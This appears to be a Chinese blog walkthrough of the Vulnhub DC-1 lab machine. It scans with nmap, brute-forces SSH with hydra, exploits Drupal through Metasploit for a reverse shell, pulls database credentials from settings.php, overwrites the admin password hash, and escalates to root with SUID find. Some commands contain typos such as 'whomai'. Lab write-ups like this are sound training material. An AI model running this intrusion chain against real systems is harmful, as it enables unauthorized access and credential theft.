Vulnhub靶机 DC-1渗透详细过程

Vulnhub靶机:DC-1渗透详细过程

一、将靶机导入到虚拟机当中

靶机地址:

https://www.vulnhub.com/entry/dc-1-1,292/

image-20240413193827250

二、攻击方式

主机发现

使用arp-scan命令,发现主机也可以使用nmap,均可

image-20240413194808979

端口扫描

nmap -p- 192.168.0.106

image-20240413194852624

开放了22端口以及80,http端口服务,接下来探针服务信息

nmap -sV -A 192.168.0.106

image-20240413195013846

image-20240413195030315

由于开放了22端口,我们可以尝试去爆破一下,但是未果。

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.106

image-20240413205138709

探针还发现开放了80端口,接下来可以进行访问web界面

web渗透

访问过后得到以下界面,此web服务使用了Drupal CMS魔板

image-20240413195432965

信息收集

image-20240413195502432

我们回到kali端,开启msf,进行搜索相关的漏洞看有无可利用的,如下:

利用msf反弹shell
search drupal //搜索漏洞利用模块

image-20240413195650261

use 1 //尝试使用第一个API这个
set rhosts 192.168.0.106 //靶机目标ip
set lhosts 0.0.0.0
set lport 4444
exploit

image-20240413200009353

成功接收到shell,并为普通www-data权限:

image-20240413200124233

当前目录下有flag1.txt,查看一下提示:

image-20240413200203660

翻译:每一个好的CMS都需要一个配置文件–你也一样。

数据库信息

根据提示找到他的配置文件,不清楚得网上搜一下,Drupal CMS配置文件在哪即可

image-20240413200603944

进入到shell当中,当前所在路径为/var/www,直接进入到配置文件当中即可

cd /var/www/sites/default/
cat settings.php

image-20240413200737786

查看配置文件信息settings.php,得到数据库的用户名和密码,连接即可查看数据库内容

image-20240413200951917

mysql -u dbuser -p
密码:R0ck3t
或
mysql -u dbuser -pR0ck3t

首先获取一个稳定shell,交互性shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240413201208933

进入数据库当中,查看所有数据库

image-20240413201235559

web管理员密码

查看当前的数据库和users数据表,查看users表当中的数据信息,得到管理员用户名和密码,但是密码被加密,此加密是自带的加密方式,需要找到加密脚本,搜索一下

image-20240413201405046

先把数据拿出来,放到记事本当中。

搜索发现,加密脚本在scripts当中的passwd-hash.sh

进入到此路径当中,查看一下脚本信息:

发现此脚本为php脚本,由此用php来执行,我们来获取一下自定义新密码,从而更新数据库,修改admin管理员的密码

image-20240413202054562

image-20240413202143959

php password-hash.sh admin //生成新密码

image-20240413202242606

回到数据库,将admin密码更新成我们生成的这个自定义密码hash值即可。

UPDATE drupaldb.users SET password = '自定义生成的密码hash值' WHERE username = 'admin' or username = 'Fred';

image-20240413202825961

登录web界面,进入后台即可。

提权

找到flag3.txt,翻译如下

特殊的PERMS将帮助查找(find)密码-但您需要-exec命令来确定如何获得阴影中的内容。

image-20240413203019671

发现有find命令提示,查看一下find命令得权限

ls -l $(which find)

发现为root权限,那么利用find提权即可,当然提示当中也有说明,使用-exec参数

image-20240413203424232

find /etc/passwd -exec whomai \;

image-20240413203825321

获取一个shell,命令如下:

find /etc/passwd -exec "/bin/sh" \;

image-20240413203839001

方法二,我们通过msf拿到shell以后,可以直接走提权三部曲

查找系统当中拥有suid权限的命令,有没有可利用的

find / -perm -u=s -type f 2>/dev/null
或
find / -user root -perm -4000 print 2>/dev/null

直接发现了find命令,可直接利用,直接提权,命令同方法一

find /etc/passwd -exec whomai \;

image-20240413204904220

文章不妥之处,欢迎匹配指正!!

  • 8
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值